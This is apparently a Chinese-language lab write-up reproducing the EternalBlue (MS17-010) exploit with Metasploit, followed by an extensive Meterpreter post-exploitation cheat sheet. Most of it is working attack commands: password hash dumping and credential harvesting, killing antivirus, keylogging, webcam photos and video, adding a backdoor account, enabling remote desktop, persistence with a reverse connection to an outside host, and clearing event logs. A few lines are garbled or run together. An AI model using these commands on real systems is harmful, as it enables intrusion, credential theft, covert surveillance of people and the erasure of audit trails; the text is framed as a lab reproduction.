永恒之蓝漏洞复现
复现过程
1. 对靶机扫描
2. 使用metasploit监听
开启meatsploit
msfconsole
查找永恒之蓝漏洞
search ms17-010
选择模块
exploit/windows/smb/ms17_010_eternalblue
执行漏洞use exploit/windows/smb/ms17_010_eternalblue
查看payload,并设置
查看攻击配置
设置目标靶机
RHOST
set RHOST 10.128.52.5
再次查看配置
使用run执行程序
2. 后渗透
- 使用
shell
链接windows
主机shell
POST后渗透模块:
sysinfo #查看目标主机系统信息
run scraper #查看目标主机详细信息
run hashdump #导出密码的哈希
load kiwi #加载
ps #查看目标主机进程信息
pwd #查看目标当前目录(windows)
getlwd #查看目标当前目录(Linux)
search -f *.jsp -d e:\ #搜索E盘中所有以.jsp为后缀的文件
download e:\test.txt /root #将目标机的e:\test.txt文件下载到/root目录下
upload /root/test.txt d:\test #将/root/test.txt上传到目标机的 d:\test\ 目录下getpid #查看当前Meterpreter Shell的进程
PIDmigrate 1384 #将当前Meterpreter Shell的进程迁移到PID为1384的进程上
idletime #查看主机运行时间
getuid #查看获取的当前权限
getsystem #提权
run killav #关闭杀毒软件
screenshot #截图
webcam_list #查看目标主机的摄像头
webcam_snap #拍照
webcam_stream #开视频
execute 参数 -f 可执行文件 #执行可执行程序
run getgui -u hack -p 123 #创建hack用户,密码为123
run getgui -e #开启远程桌面
keyscan_start #开启键盘记录功能
keyscan_dump #显示捕捉到的键盘记录信息
keyscan_stop #停止键盘记录功能
uictl disable keyboard #禁止目标使用键盘
uictl enable keyboard #允许目标使用键盘
uictl disable mouse #禁止目标使用鼠标
uictl enable mouse #允许目标使用鼠标
load #使用扩展库
run #使用扩展库
run persistence -X -i 5 -p 8888 -r 192.168.10.27 #反弹时间间隔是5s 会自动连接
192.168.27的4444端口,缺点是容易被杀毒软件查杀
portfwd add -l 3389 -r 192.168.11.13 -p 3389 #将192.168.11.13的3389端口转发到本地的3389端口上,这里的192.168.11.13是获取权限的主机的ip地址
clearev #清除日志
下面的模块主要用于在取得目标主机系统远程控制权后,进行一系列的后渗透攻击动作。
run post/windows/manage/migrate #自动进程迁移
run post/windows/gather/checkvm #查看目标主机是否运行在虚拟机上
run post/windows/manage/killav #关闭杀毒软件
run post/windows/manage/enable_rdp #开启远程桌面服务
run post/windows/manage/autoroute #查看路由信息
run post/windows/gather/enum_logged_on_users #列举当前登录的用户
run post/windows/gather/enum_applications #列举应用程序
run windows/gather/credentials/windows_autologin #抓取自动登录的用户名和密码
run windows/gather/smart_hashdump #dump出所有用户的hash
检验机器是否运行在虚拟机上
关闭杀毒软件(原本打开的cmd被关闭)
权限提升:
getsystem
获取密码
输出格式为,用户名:SID:LM哈希:NTLM哈希:::
之后尝试md5破解密码
创建账号
run post/windows/gather/enum_logged_on_users
查看有哪些账号
run getgui -u hack -p 123
添加账号
- 启用远程桌面
run getgui -e
截取屏幕
进程迁移
将meterpreter绑定到某一进程
使用:
migrate 目标进程ID
命令来绑定目标进程id,这里绑定目标pid的时候,经常会断了 shell。进程迁移后会自动关闭原来进程,没有关闭可使用 kill pid 命令关闭进程。或者使用自动迁移进程(run post/windows/manage/migrate)命令,系统会自动寻找合适的进程然后迁移捕获键盘数据
keyscan_start
Keyscan_dump
Keyscan_stop
摄像头
- 获取目标系统的摄像头列表:webcam_list
- •从指定的摄像头,拍摄照片:webcam_snap
- •从指定的摄像头,开启视频:webcam_stream